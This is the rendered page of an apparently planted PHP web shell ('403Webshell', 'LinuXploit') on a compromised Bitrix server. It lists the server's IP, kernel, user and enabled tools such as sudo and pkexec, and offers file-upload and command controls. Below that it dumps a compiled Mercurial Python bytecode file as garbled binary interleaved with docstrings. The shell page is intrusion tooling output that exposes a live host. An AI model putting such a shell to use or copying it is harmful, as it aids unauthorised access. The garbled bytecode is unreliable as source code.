403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/mercurial/__pycache__/narrowspec.cpython-39.opt-1.pyc
a

�+�bK.�@sddlmZddlmZddlmZddlmZmZ	m
Z
mZm
Z
mZmZmZdZdZdZd	d
�Zdd�Zd
d�Zd8dd�Zdd�Zdd�Zdd�Zd9dd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Z d'd(�Z!d)d*�Z"d+d,�Z#d-d.�Z$d/d0�Z%d1d2�Z&d3d4�Z'd:d6d7�Z(dS);�)�absolute_import�)�_)�getattr)�error�match�merge�
mergestate�requirements�scmutil�sparse�utils
narrowspecsnarrowspec.dirstate)spath:srootfilesin:cCs|�d�}t|�||fS)z�Returns the normalized version of a pattern and kind.

    Returns a tuple with the normalized kind and normalized pattern.
    �/)�rstrip�_validatepattern)�kind�pat�r�:/usr/lib64/python3.9/site-packages/mercurial/narrowspec.py�normalizesplitpattern(s
rcCst|d���S)z?Returns the number of lines in s, including ending empty lines.�x)�len�
splitlines)�srrr�	_numlines2srcCsFt|�dkrt�td���|�d�}d|vs4d|vrBt�td���dS)z�Validates the pattern and aborts if it is invalid.

    Patterns are stored in the narrowspec as newline-separated
    POSIX-style bytestring paths. There's no escaping.
    rs,newlines are not allowed in narrowspec pathsr�.s..s0"." and ".." are not allowed in narrowspec pathsN)rr�Abortr�split)r�
componentsrrrr:s	
�r�pathcCst�||�\}}dt||�S)zyReturns the normalized version of a text-format pattern.

    If the pattern has no kind, the default will be added.
    s%s:%s)�matchmodZ	_patsplitr)�patternZdefaultkindrrrrr�normalizepatternMsr"cCsdd�|D�}t|�|S)a�Parses an iterable of patterns into a typed pattern set.

    Patterns are assumed to be ``path:`` if no prefix is present.
    For safety and performance reasons, only some prefixes are allowed.
    See ``validatepatterns()``.

    This function should be used on patterns that come from the user to
    normalize and validate them to the internal data structure used for
    representing patterns.
    cSsh|]}t|��qSr)r")�.0Zorigrrr�	<setcomp>a�z parsepatterns.<locals>.<setcomp>)�validatepatterns)�pats�resrrr�
parsepatternsVsr)cCs�t�dt|���`t|t�s*t�d|��|D]2}|�t�s.tj	t
d�|t
d�d�t�d��q.Wd�n1sv0YdS)a�Validate that patterns are in the expected data structure and format.

    And that is a set of normalized patterns beginning with ``path:`` or
    ``rootfilesin:``.

    This function should be used to validate internal data structures
    and patterns that are loaded from sources that use the internal,
    prefixed pattern representation (but can't necessarily be fully trusted).
    z)narrowspec.validatepatterns(pats size=%d)s'narrow patterns should be a set; got %rs$invalid prefix on narrow pattern: %ss8narrow patterns must begin with one of the following: %ss, ��hintN)r
Ztimedcmr�
isinstance�setrZProgrammingError�
startswith�VALID_PREFIXESrr�join)r'rrrrr&fs

�

���r&cCsHd}t||�D]}||d7}q|d7}t|�D]}||d7}q2|S)Ns
[include]
�
s
[exclude]
)�sorted)ZincludesZexcludes�output�i�errr�format�sr6NcCs(|st��Stj|dg|pg|p"gd�S)Nr%��include�exclude)r �neverr)�rootr8r9rrrr�s
�rcCs>t�||d�\}}}|r&t�td���t|�t|�||fS)NsnarrowsJincluding other spec files using '%include' is not supported in narrowspec)r�parseconfigrrrr&)�ui�spec�includepats�excludepatsZprofilesrrrr<�s��r<cCs|j�t�}t|j|�S�N)�svfs�tryread�FILENAMEr<r=��repor>rrr�load�srGcCs,t|�t|�t||�}|j�t|�dSrA)r&r6rB�writerD)rFr?r@r>rrr�save�s
rIcCs|j�t�}|j�t|�dSrA)rB�readrD�vfsrH�DIRSTATE_FILENAMErErrr�copytoworkingcopy�srMcCs@tj|jvrdS|j}|�|�tj|�t�|�|�dd�dS�NT)Zhardlink)r
�NARROW_REQUIREMENTrB�	tryunlinkr
�copyfiler0rD)rF�
backupnamerBrrr�
savebackup�s

rScCs0tj|jvrdSt�|j�|�|j�t��dSrA)r
rOr
�renamerBr0rD�rFrRrrr�
restorebackup�srVcCsJtj|jvrdS|j}|�|�|�t�rFtj|�t�|�|�dd�dSrN)	r
rOrKrP�existsrLr
rQr0)rFrRrKrrr�savewcbackup�s

�rXcCs<tj|jvrdS|j�|�r8t�|j�|�|j�t��dSrA)r
rOrKrWr
rTr0rLrUrrr�restorewcbackup�srYcCs tj|jvrdS|j�|�dSrA)r
rOrKrPrUrrr�
clearwcbackup�srZc
Cs�t|�}|�|�g}|s$t|�}n�d|vr�g}|D]d}t�t�|��}||vr\|�|�q4d}|D]$}	|�|	d�rdd}|�|�q�qd|s4|�|�q4t|�dkr�dh}q�t|�}nt|�}|||fS)aVRestricts the patterns according to repo settings,
    results in a logical AND operation

    :param req_includes: requested includes
    :param req_excludes: requested excludes
    :param repo_includes: repo includes
    :param repo_excludes: repo excludes
    :return: include patterns, exclude patterns, and invalid include patterns.
    spath:.FrTr)r-�updater
Z
expandpath�normpath�appendr.r)
Zreq_includesZreq_excludesZ
repo_includesZ
repo_excludesZres_excludesZinvalid_includesZres_includesZreq_includeZvalidZrepo_includerrr�restrictpatterns�s2





r^cCs|D]}|j�|�qdSrA)�wvfsZ
unlinkpath)rF�files�frrr�_deletecleanfilessrbcCsht��}|d��}|D],}|j�|�s|�|tj|�|�dfd�qtj	|||d|dddd�dS)NrFsnarrowspec updated)ZwctxZmctxZ	overwriteZwantfiledata)
rZmergeresult�manifestr_rWZaddfile�
mergestatemodZ
ACTION_GET�flagsZapplyupdates)rF�pctxr`ZmresultZmfrarrr�_writeaddedfiless$��rgcCsJt|dd�rdS|j�t�}|j�t�}||krFtjtd�td�d��dS)N�_updatingnarrowspecFs"working copy's narrowspec is stales&run 'hg tracked --update-working-copy'r*)	rrBrCrDrKrLrZ
StateErrorr)rFZ	storespecZwcspecrrr�checkworkingcopynarrowspec(s�riFcs�|j�t�}|j�t�}d|_t|j|�\}}t|j|�\}}t|j	||d�}t|j	||d�}	t
�|	|�}
t
�||	�}|j��j
|gdddd�\}}
}|
j|
j}|
j}|r�|�|�n
|�|�t||�t�|�}t|�D]}|j�
td�||��q�t|
j�D]}|j�
td�||���qt|
j�D]}|j�
td�||���q0||D]}�j|ddd��qX|d	}t
�|
t�|��}
�fd
d�|���|
�D�}|D]}�j|dddd��q�t|||�d|_d
S)z�updates the working copy and dirstate from the store narrowspec

    When assumeclean=True, files that are not known to be clean will also
    be deleted. It is then up to the caller to make sure they are clean.
    Tr7)Zsubrepos�ignored�clean�unknowns$not deleting possibly dirty file %s
snot deleting unknown file %s
snot deleting ignored file %s
F)�
p1_tracked�
wc_trackedrcsg|]}|�vr|�qSrr)r#ra�Zdsrr�
<listcomp>ar%z%updateworkingcopy.<locals>.<listcomp>)rmrnZpossibly_dirtyN) rKrCrLrBrDrhr<r=rr;r ZdifferencematcherZdirstate�statusZmodifiedZaddedrk�extendrbrZgetuipathfnr2rrlrjZupdate_fileZintersectmatchersrZmatcherrc�walkrg)rFZassumecleanZoldspecZnewspecZoldincludesZoldexcludesZnewincludesZnewexcludesZoldmatchZnewmatchZ
addedmatchZremovedmatch�lookuprqZ_mtime_boundaryZtrackeddirtyrkZuipathfnrarfZnewfilesrror�updateworkingcopy5sJ
�


�ru)r)NN)F))Z
__future__rZi18nrZpycompatr�rrr rr	rdr
rrr
rDrLr/rrrr"r)r&r6r<rGrIrMrSrVrXrYrZr^rbrgrirurrrr�<module>s8(

	

)

Youez - 2016 - github.com/yon3zu
LinuXploit